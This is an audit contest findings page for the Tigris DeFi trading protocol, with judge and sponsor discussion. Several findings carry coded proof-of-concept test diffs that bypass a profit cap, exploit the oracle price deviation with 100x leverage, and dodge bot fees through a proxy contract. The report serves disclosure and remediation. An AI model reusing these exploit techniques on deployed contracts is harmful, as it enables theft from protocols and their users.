Platform: Code4rena
Start Date: 09/12/2022
Pot Size: $90,500 USDC
Total HM: 35
Participants: 84
Period: 7 days
Judge: GalloDaSballo
Total Solo HM: 12
Id: 192
League: ETH
Rank: 7/84
Findings: 5
Award: $2,923.43
🌟 Selected for report: 4
🚀 Solo Findings: 1
🌟 Selected for report: hansfriese
766.7669 USDC - $766.77
Trader's profit from a position is supposed to be capped to maxWinPercent
of the margin.
However when closing only part of the position, the total margin of the position is used to calculate capping rather than the part of the margin that's being closed. This means a trader can bypass capping by closing the position in a few rounds, each time closing only part of the position.
I've modified the "Max win should be capped to 10x" test at Trading.js
to test this scenario.
In this case the initial margin is 1K$, and the profit without a cap is x50 = 50K$, with x10 cap set it's supposed to be 10K$. But with partial withdrawing it's actually possible to withdraw 42K$ (with more iterations it can get closer to the full 50K).
Diff:
diff --git a/test/07.Trading.js b/test/07.Trading.js index ebe9948..3247eb2 100644 --- a/test/07.Trading.js +++ b/test/07.Trading.js @@ -2121,7 +2121,9 @@ describe("Trading", function () { let closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); - + for (let i = 0; i < 10; i++) { + await trading.connect(owner).initiateCloseOrder(1, 2e9, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); + } await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("10000")); // Max win is Margin * 10 = $10,000 });
Output:
1) Trading PnL calculations Max win should be capped to 10x: AssertionError: Expected "42134529433600000000000" to be equal 10000000000000000000000 + expected - actual { - "_hex": "0x021e19e0c9bab2400000" + "_hex": "0x08ec1e0f118e00c00000" "_isBigNumber": true }
Calculate the capping using the amount of margin that's being closed, rather than the total margin.
#0 - c4-judge
2022-12-22T02:07:45Z
GalloDaSballo marked the issue as duplicate of #111
#1 - TriHaz
2022-12-26T07:12:54Z
Duplicate of #507
#2 - c4-judge
2023-01-22T10:04:13Z
GalloDaSballo marked the issue as not a duplicate
#3 - c4-judge
2023-01-22T10:07:54Z
GalloDaSballo marked the issue as duplicate of #507
#4 - c4-judge
2023-01-22T17:40:36Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xA5DF
Also found by: 0x4non, 0xmuxyz, 8olidity, HollaDieWaldfee
215.3081 USDC - $215.31
https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L247 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L285
Both BondNFT
and GovNFT
are an ERC721 implementation, they both also have a function named safeTransferMany()
which its name implies is supposed to safe transfer many tokens at once.
However the function doesn't actually safe transfer (doesn't )
Users might use this function, expecting it to verify that the receiver is an ERC721Receiver
, but will get their funds stuck in a contract that doesn't support ERC721.
I've added the following tests to the GovNFT
tests.
1st test will succeed (tx will revert) since safeTransferFrom()
does actually use safe transfer.
2nd will fail (tx won't revert), since safeTransferMany()
doesn't actually use a safe transfer.
diff --git a/test/05.GovNFT.js b/test/05.GovNFT.js index 711a649..d927320 100644 --- a/test/05.GovNFT.js +++ b/test/05.GovNFT.js @@ -98,6 +98,14 @@ describe("govnft", function () { expect(await govnft.pending(owner.getAddress(), StableToken.address)).to.equal(1500); expect(await govnft.pending(user.getAddress(), StableToken.address)).to.equal(500); }); + + it("Safe transfer to non ERC721Receiver", async function () { + + expect(govnft.connect(owner)['safeTransferFrom(address,address,uint256)'](owner.address,StableToken.address, 2)).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer"); + }); + it("Safe transfer many to non ERC721Receiver", async function () { + await expect(govnft.connect(owner).safeTransferMany(StableToken.address, [2])).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer"); + }); it("Transferring an NFT with pending delisted rewards should not affect pending rewards", async function () { await govnft.connect(owner).safeTransferMany(user.getAddress(), [2,3]); expect(await govnft.balanceOf(owner.getAddress())).to.equal(0);
Output (I've shortened the output. following test will also fail, since the successful transfer will affect them):
✔ Safe transfer to contract 1) Safe transfer many to contract 11 passing (3s) 1 failing 1) govnft Reward system related functions Safe transfer many to contract: AssertionError: Expected transaction to be reverted + expected - actual -Transaction NOT reverted. +Transaction reverted.
Call _safeTransfer()
instead of _transfer()
.
#0 - GalloDaSballo
2022-12-20T15:53:58Z
Has coded POC -> Obvious winner
#1 - c4-judge
2022-12-20T15:54:02Z
GalloDaSballo marked the issue as primary issue
#2 - c4-sponsor
2023-01-10T16:36:35Z
TriHaz marked the issue as sponsor confirmed
#3 - GalloDaSballo
2023-01-13T19:02:35Z
The Warden has shown a discrepancy between the intent of the code and the actual functionality when it comes to the safeTransfer...
function.
Because this finding is reliant on understanding the intention of the Sponsor, and in this case they have confirmed, I believe that the finding is valid and of Medium Severity, because the function was intended to be using the safe checks, but wasn't.
#4 - c4-judge
2023-01-13T19:02:42Z
GalloDaSballo marked the issue as selected for report
#5 - GainsGoblin
2023-01-29T01:43:36Z
Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175381 We decided that we do not want transfers to check that the receiver is implementing IERC721Receiver, so we renamed the functions.
🌟 Selected for report: 0xA5DF
Also found by: 0xA5DF, 0xNazgul, 0xSmartContract, 0xbepresent, 0xdeadbeef0x, 8olidity, Englave, Faith, HE1M, JohnnyTime, Madalad, Mukund, Ruhum, SmartSek, __141345__, aviggiano, carlitox477, cccz, chaduke, francoHacker, gz627, gzeon, hansfriese, hihen, imare, jadezti, kwhuo68, ladboy233, orion, peanuts, philogy, rbserver, wait, yjrwkk
1.4914 USDC - $1.49
https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L222-L230 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L78-L83 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L38-L46 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L48
The project heavily relies on nodes/oracles, which are EOAs that sign the current price. Since all functions (including withdrawing) require a recently-signed price, the owner(s) of those EOA can freeze all activity by not providing signed prices.
I got from the sponsor that the owner of the contract is going to be a timelock contract. However, once the owner holds the power to pause withdrawals - that nullifies the timelock. The whole point of the timelock is to allow users to withdraw their funds when they see a pending malicious tx before it's executed. If the owner has the power to freeze users' funds in the contract, they wouldn't be able to do anything while the owner executes his malicious activity.
Besides that, there are also LP funds, which are locked to a certain period, and also can't withdraw their funds when they see a pending malicious timelock tx.
The owner (or attacker who steals the owner's wallet) can steal all user's funds.
StableToken.setMinter()
, mint more tokens, and redeem them via StableVault.withdraw()
StableVault
, deposit it and withdraw real stablecoinmaxOi
and opening position in the same tx#0 - GalloDaSballo
2022-12-22T00:41:37Z
Will most likely make this the main Admin Privilege and bulk every other one under it
#1 - TriHaz
2023-01-10T17:22:57Z
We are aware of the centralization risks, owner of contracts will be a timelock and owner will be a multi sig to reduce the centralization for now until it's fully controlled by DAO.
#2 - c4-sponsor
2023-01-10T17:23:06Z
TriHaz marked the issue as sponsor acknowledged
#3 - c4-sponsor
2023-01-10T17:23:13Z
TriHaz marked the issue as disagree with severity
#4 - c4-judge
2023-01-15T13:51:13Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-01-15T13:54:26Z
GalloDaSballo marked the issue as primary issue
#6 - GalloDaSballo
2023-01-15T13:58:21Z
Missing setFees, but am grouping generic reports under this one as well
#7 - GalloDaSballo
2023-01-15T16:04:42Z
Also missing changes to Trading Extension and Referral Fees
#8 - GalloDaSballo
2023-01-15T16:06:54Z
This report, in conjunction with #648 effectively covers all "basic" admin privilege findings, more nuanced issues are judged separately
#9 - c4-judge
2023-01-22T17:35:29Z
GalloDaSballo marked the issue as satisfactory
#10 - c4-judge
2023-01-22T17:35:37Z
GalloDaSballo marked the issue as selected for report
🌟 Selected for report: 0xA5DF
Also found by: 0xA5DF, 0xNazgul, 0xSmartContract, 0xbepresent, 0xdeadbeef0x, 8olidity, Englave, Faith, HE1M, JohnnyTime, Madalad, Mukund, Ruhum, SmartSek, __141345__, aviggiano, carlitox477, cccz, chaduke, francoHacker, gz627, gzeon, hansfriese, hihen, imare, jadezti, kwhuo68, ladboy233, orion, peanuts, philogy, rbserver, wait, yjrwkk
1.4914 USDC - $1.49
The project relies on EOAs to verify the price via signatures. The project has an optional verification of the price via Chainlink - the price can deviate up to 2% from Chainlink's price. If the Chainlink verification is disabled it's clear that there's a huge centralization risk here, but even when it's enabled - that 2% can become very significant with leverage. E.g. with a leverage of x100 a malicious node can make a profit of ~400% within minutes (opening long at a price low by 2% and closing at a price high by 2%).
Oracle/node owners can steal from the project and drive it toward insolvency.
The docs state:
Prices provided by the oracle network are also compared to Chainlink's public price feeds for additional security. If prices have more than a 2% difference the transaction is reverted.
I've confirmed with the sponsor that a x100 leverage is reasonable.
Here's a coded PoC, where the trader invests 1K$ and gets back 4.47K$:
diff --git a/test/07.Trading.js b/test/07.Trading.js index ebe9948..92637a1 100644 --- a/test/07.Trading.js +++ b/test/07.Trading.js @@ -2530,12 +2530,12 @@ describe("Trading", function () { await pairscontract.connect(owner).setAssetChainlinkFeed(0, chainlink.address); await tradingExtension.connect(owner).setChainlinkEnabled(true); await chainlink.connect(owner).setPrice(200000000000000); // 20000e10 - let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("5"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; - let openPriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false]; + let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; + let openPriceData = [node.address, 0, parseEther("19601"), 0, 2000000000, false]; let openMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], - [node.address, 0, parseEther("20000"), 0, 2000000000, false] + [node.address, 0, parseEther("19601"), 0, 2000000000, false] ) ); let openSig = await node.signMessage( @@ -2543,10 +2543,37 @@ describe("Trading", function () { ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; + + let balanceBefore = await stabletoken.balanceOf(owner.address); + let tx, receipt; await trading.connect(owner).initiateMarketOrder(TradeInfo, openPriceData, openSig, PermitData, owner.address); - expect(await position.assetOpenPositionsLength(0)).to.equal(1); + + + + let closePriceData = [node.address, 0, parseEther("20399"), 0, 2000000000, false]; + let closeMessage = ethers.utils.keccak256( + ethers.utils.defaultAbiCoder.encode( + ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], + [node.address, 0, parseEther("20399"), 0, 2000000000, false] + ) + ); + let closeSig = await node.signMessage( + Buffer.from(closeMessage.substring(2), 'hex') + ); + + + tx = await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); + receipt = await tx.wait(); + let event = receipt.events.filter(x => x.event == 'PositionClosed'); + console.log({event, args: event[0].args}); + + let balanceAfter = await stabletoken.balanceOf(owner.address); + + console.log({balanceBefore,balanceAfter}); + }); }); + return; // don't execute any further tests describe("Open interest calculations", function () { it("Should work correctly on long, short, full and partial close", async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, 0, 0, ethers.constants.HashZero];
Rely on a smart contract Oracle like Chainlink or Uniswap. Alternately, set the deviation relative to the maxLeverage of the asset (I guess higher leverage means a less volatile asset, therefore the deviation should be lower) - this will partly mitigate the issue.
#0 - c4-judge
2022-12-23T17:48:38Z
GalloDaSballo marked the issue as primary issue
#1 - TriHaz
2023-01-09T18:03:30Z
We are aware of the centralization risks, a more decentralized oracle solution will be implemented in the future.
#2 - c4-sponsor
2023-01-09T18:03:39Z
TriHaz marked the issue as sponsor acknowledged
#3 - c4-judge
2023-01-15T13:54:57Z
GalloDaSballo marked the issue as duplicate of #377
#4 - c4-judge
2023-01-23T09:05:05Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xA5DF
1640.8181 USDC - $1,640.82
Bot fees are used when a position is opened/closed via a bot. In that case a bot fee is subtracted from the dao fee and sent to the closing bot.
A user can use that to to reduce the dao fees for closing an order and keep it to themselves.
Instead of closing the order via initiateClose()
, the user can use a proxy contract to update the stop-loss value and then limitClose()
the order.
Since that is done in one function call, no bot can run the limitClose()
and the bot fee will go to the user.
The following PoC shows how a trade is closed by a proxy contract that sets the limit and closes it via limitClose()
:
diff --git a/test/07.Trading.js b/test/07.Trading.js index ebe9948..e50b0cc 100644 --- a/test/07.Trading.js +++ b/test/07.Trading.js @@ -17,6 +17,7 @@ describe("Trading", function () { let TradingExtension; let tradingExtension; + let myTrader; let TradingLibrary; let tradinglibrary; @@ -37,7 +38,7 @@ describe("Trading", function () { let MockDAI; let MockUSDC; - let mockusdc; + let mockusdc, mockdai; let badstablevault; @@ -55,6 +56,7 @@ describe("Trading", function () { const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); + mockdai = await ethers.getContractAt("MockERC20", MockDAI.address); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); @@ -84,6 +86,10 @@ describe("Trading", function () { TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); + + + let mtFactory = await ethers.getContractFactory("MyTrader"); + myTrader = await mtFactory.deploy(Trading.address, Position.address); }); describe("Check onlyOwner and onlyProtocol", function () { it("Set max win percent", async function () { @@ -536,6 +542,31 @@ describe("Trading", function () { expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Trade has opened expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("0")); // Should no tigAsset left }); + + it("Test my trader", async function () { + let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; + let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false]; + let message = ethers.utils.keccak256( + ethers.utils.defaultAbiCoder.encode( + ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], + [node.address, 0, parseEther("20000"), 0, 2000000000, false] + ) + ); + let sig = await node.signMessage( + Buffer.from(message.substring(2), 'hex') + ); + + let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; + await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); + + + await trading.connect(owner).approveProxy(myTrader.address, 1e10); + await myTrader.connect(owner).closeTrade(1, PriceData, sig); + + + }); + return; + it("Closing over 100% should revert", async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false]; @@ -551,8 +582,10 @@ describe("Trading", function () { let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); + await expect(trading.connect(owner).initiateCloseOrder(1, 1e10+1, PriceData, sig, StableVault.address, StableToken.address, owner.address)).to.be.revertedWith("BadClosePercent"); }); + return; it("Closing 0% should revert", async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false]; @@ -700,6 +733,7 @@ describe("Trading", function () { expect(margin).to.equal(parseEther("500")); }); }); + return; describe("Trading using <18 decimal token", async function () { it("Opening and closing a position with tigUSD output", async function () { await pairscontract.connect(owner).setAssetBaseFundingRate(0, 0); // Funding rate messes with results because of time
MyTrader.sol
:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ITrading} from "../interfaces/ITrading.sol"; import "../utils/TradingLibrary.sol"; import "../interfaces/IPosition.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol"; contract MyTrader{ ITrading trading; IPosition position; receive() payable external{ } constructor(address _trading, address _position){ trading = ITrading(_trading); position = IPosition(_position); } function closeTrade( uint _id, PriceData calldata _priceData, bytes calldata _signature ) public{ bool _tp = false; trading.updateTpSl(_tp, _id, _priceData.price, _priceData, _signature, msg.sender); trading.limitClose(_id, _tp, _priceData, _signature); } }
Don't allow updating sl or tp and
#0 - GalloDaSballo
2022-12-22T14:58:08Z
Looks valid, but would like to hear the Sponsor's comment about impact and if this is intended or not
#1 - 0xA5DF
2022-12-22T15:02:11Z
Thanks, the submission text got truncated for some reason.
Just want to clarify that the mitigation is supposed to be 'Don't allow updating sl or tp and executing limitClose()
at the same block'
#2 - TriHaz
2023-01-06T00:38:52Z
Valid and will be confirmed, but not sure about the severity, as the protocol will not lose anything because fees would be paid to another bot anyway, would like an opinion from a judge.
#3 - c4-sponsor
2023-01-06T00:39:01Z
TriHaz marked the issue as sponsor confirmed
#4 - c4-sponsor
2023-01-06T00:39:08Z
TriHaz requested judge review
#5 - GalloDaSballo
2023-01-17T11:32:28Z
With the information that I have:
Ordinary operation, which for convenience can be performed by a bot, is being operated by someone else
Because all security invariants are still holding, but the behaviour may be a gotcha, I believe QA Low to be the most appropriate severity in lack of a value leak
L
#6 - c4-judge
2023-01-17T11:32:40Z
#7 - GalloDaSballo
2023-01-27T14:54:21Z
SL Can be equal to current price https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L836-L837
if (_sl > _price) revert("3"); //BadStopLoss
Gas cost is cheaper in size than fees (1%, from test) <img width="983" alt="Screenshot 2023-01-27 at 15 19 28" src="https://user-images.githubusercontent.com/13383782/215108736-d9af402c-ee4a-4a93-9444-644b33bf226e.png">
This allows to close the order without paying the fee, which is not the intended behaviour.
In one case ("the exploit") you get the fee, your payout is the same, you saved the fee In the other case, you don't pay the fee, your payout is the same, you paid the fee
Below my annotated code with an example math
_daoFeesPaid = _daoFeesPaid - _botFeesPaid; // _daoFeesPaid = 200 - 100 // 100 // _daoFeesPaid = 200 - 0 } emit FeesDistributed(_tigAsset, _daoFeesPaid, _burnFeesPaid, _referralFeesPaid, _botFeesPaid, _referrer); payout_ = _payout - _daoFeesPaid - _burnFeesPaid - _botFeesPaid; // Payout = 1000 - 100 - 0 - 100 // Received = 800 + 100 // Payout = 1000 - 200 - 0 - 0 // Received = 800
In contrast, if the fee was paid outside of the DAO fee, you'd have a situation where:
Given the economic incentive to always use limitClose
and the fact that this sidesteps the fee, by abusing the fact that a Stop Loss can be set to the currently valid price (instead of being a future stop loss, which should prevent additional risks), am raising to Medium
See the updated test I wrote
it.only("Test my trader", async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false]; let PriceDataTwo = [node.address, 0, parseEther("19000"), 0, 1900000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 0, parseEther("20000"), 0, 2000000000, false] ) ); let messageTwo = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 0, parseEther("19000"), 0, 1900000000, false] ) ); let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); let sigTwo = await node.signMessage( Buffer.from(messageTwo.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); await trading.connect(owner).approveProxy(myTrader.address, 1e10); await myTrader.connect(owner).closeTrade(1, PriceDataTwo, sigTwo); });
Thank you @0xA5DF for the tenacity
#8 - Simon-Busch
2023-01-27T16:19:26Z
Change the severity back to Medium and removed duplicate label as requested by @GalloDaSballo
#9 - c4-judge
2023-01-27T16:23:08Z
GalloDaSballo marked the issue as selected for report
#10 - GalloDaSballo
2023-01-27T16:24:51Z
Per the discussion above, the Warden has shown how, any user can setup a contract to avoid paying botFees, because these are subtracted to DaoFees, these are not just a loss of yield to the DAO, but they are a discount to users, which in my opinion breaks the logic for fees.
Because the finding pertains to a loss of Yield, I raised the report back to Medium Severity.
I'd like to thank @0xA5DF for the clarifications done in post-judging triage
#11 - GainsGoblin
2023-01-29T22:51:18Z
Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176433
'Don't allow updating sl or tp and executing limitClose() at the same block'
The recommended mitigation wouldn't work, because this would result in a separate high-severity risk. We decided on tracking the timestamp of the last limit order update, and if the order gets executed before a second has passed then the bot doesn't earn bot fees. This gives every bot a fair chance at being rewarded without incentivizing the trader to execute their own order.
🌟 Selected for report: 0xA5DF
Also found by: HollaDieWaldfee, Jeiwan, KingNFT
299.0391 USDC - $299.04
The PairsContract
registeres the total long/short position that's open for a pair of assets, whenever a new position is created the total grows accordingly.
However at executeLimitOrder()
the position size that's added is wrongly calculated - it uses margin before fees, while the actual position is created after subtracting fees.
The OpenInterest would register wrong values (11% diff in the case of PoC), which will distort the balance between long and short positions (the whole point of the OpenInterest is to balance them to be about equal).
In the following test, an order is created with a x100 leverage, and the position size registered for OI is 11% greater than the actual position created.
diff --git a/test/07.Trading.js b/test/07.Trading.js index ebe9948..dfb7f98 100644 --- a/test/07.Trading.js +++ b/test/07.Trading.js @@ -778,7 +778,7 @@ describe("Trading", function () { */ it("Creating and executing limit buy order, should have correct price and bot fees", async function () { // Create limit order - let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; + let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address); expect(await position.limitOrdersLength(0)).to.equal(1); // Limit order opened @@ -787,6 +787,9 @@ describe("Trading", function () { await network.provider.send("evm_increaseTime", [10]); await network.provider.send("evm_mine"); + let count = await position.getCount(); + let id = count.toNumber() - 1; + // Execute limit order let PriceData = [node.address, 0, parseEther("10000"), 10000000, 2000000000, false]; // 0.1% spread let message = ethers.utils.keccak256( @@ -798,8 +801,22 @@ describe("Trading", function () { let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); + // trading.connect(owner).setFees(true,3e8,1e8,1e8,1e8,1e8); - await trading.connect(user).executeLimitOrder(1, PriceData, sig); + + let oi = await pairscontract.idToOi(0, stabletoken.address); + expect(oi.longOi.toNumber()).to.equal(0); + console.log({oi, stable:stabletoken.address}); + + await trading.connect(user).executeLimitOrder(id, PriceData, sig); + let trade = await position.trades(id); + console.log(trade); + oi = await pairscontract.idToOi(0, stabletoken.address); + console.log(oi); + + expect(oi.longOi.div(10n**18n).toNumber()).to.equal(trade.margin.mul(trade.leverage).div(10n**18n * 10n**18n).toNumber()); + + expect(await position.limitOrdersLength(0)).to.equal(0); // Limit order executed expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Creates open position expect((await trading.openFees()).botFees).to.equal(2000000); @@ -807,6 +824,7 @@ describe("Trading", function () { let [,,,,price,,,,,,,] = await position.trades(1); expect(price).to.equal(parseEther("20020")); // Should have guaranteed execution price with spread }); + return; it("Creating and executing limit sell order, should have correct price and bot fees", async function () { // Create limit order let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, false, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; @@ -1606,6 +1624,7 @@ describe("Trading", function () { expect(await stabletoken.balanceOf(user.address)).to.equal(parseEther("1.5")); }); }); + return; describe("Modifying functions", function () { it("Updating TP/SL on a limit order should revert", async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
Output:
1) Trading Limit orders and liquidations Creating and executing limit buy order, should have correct price and bot fees: AssertionError: expected 100000 to equal 90000 + expected - actual -100000 +90000
Correct the calculation to use margin after fees.
#0 - GalloDaSballo
2022-12-22T00:29:22Z
Coded POC with Math -> Best
#1 - c4-judge
2022-12-22T00:29:26Z
GalloDaSballo marked the issue as primary issue
#2 - TriHaz
2023-01-07T09:29:37Z
I think I confirmed a similar issue.
#3 - c4-sponsor
2023-01-07T09:29:41Z
TriHaz marked the issue as sponsor confirmed
#4 - GalloDaSballo
2023-01-17T15:13:48Z
The Warden has highlighted an discrepancy in how OpenInterest is calculated, the math should cause issues in determining funding rates, however the submission doesn't show a way to reliably extract value from the system.
Because of this, I believe the finding to be of Medium Severity
#5 - c4-judge
2023-01-22T17:54:04Z
GalloDaSballo marked the issue as selected for report
#6 - GainsGoblin
2023-01-29T23:59:25Z